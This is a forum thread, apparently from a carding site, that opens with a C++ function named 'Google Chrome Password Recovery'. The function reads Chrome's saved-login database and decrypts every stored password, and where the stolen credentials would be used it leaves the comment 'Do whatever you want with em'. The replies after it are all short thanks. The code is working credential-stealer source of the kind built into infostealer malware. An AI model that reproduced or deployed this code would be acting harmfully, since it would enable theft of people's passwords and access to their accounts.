PDA

View Full Version : [C++] Google Chrome Password Recovery



manzalawi
01-29-2011, 11:27 AM
/*
* Google Chrome Password Recovery
*
* Coded by Mannzalawi
* [email protected]
*http://carders-place.com
*/

void GetGoogleChrome()
{
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword;
DATA_BLOB DataIn, DataOut;

SHGetSpecialFolderPath(0, szPath, 0x1C, 0);
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
// Do whatever you want with em;
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
}
}

Note:
Its not the best coding, but it works, and like I said its old.
It requires the SQLite libraries.
For Chrome 6 and up the path is "\\Google\\Chrome\\User Data\\Default\\Login Data"
For Chrome 5 and below the path is "\\Google\\Chrome\\User Data\\Default\\Web Data"



dont 4get say thx

pascalll2222
02-01-2011, 08:13 AM
thank you for this post man

d-ace
02-18-2011, 03:43 PM
thanks man

paper
02-21-2011, 12:33 PM
thank you man

kelly33
02-21-2011, 01:10 PM
great....job

SaEaS
02-26-2011, 09:30 PM
thnx brother

12ksawaya
03-05-2011, 04:35 AM
thanks man, very very good post

sdzwb
03-11-2011, 08:49 AM
thank you for sharing

jap
11-26-2016, 12:01 AM
Thanks for the code.

jap
11-26-2016, 12:01 AM
Thanks this will help.

stone1414
02-02-2018, 10:40 AM
good job man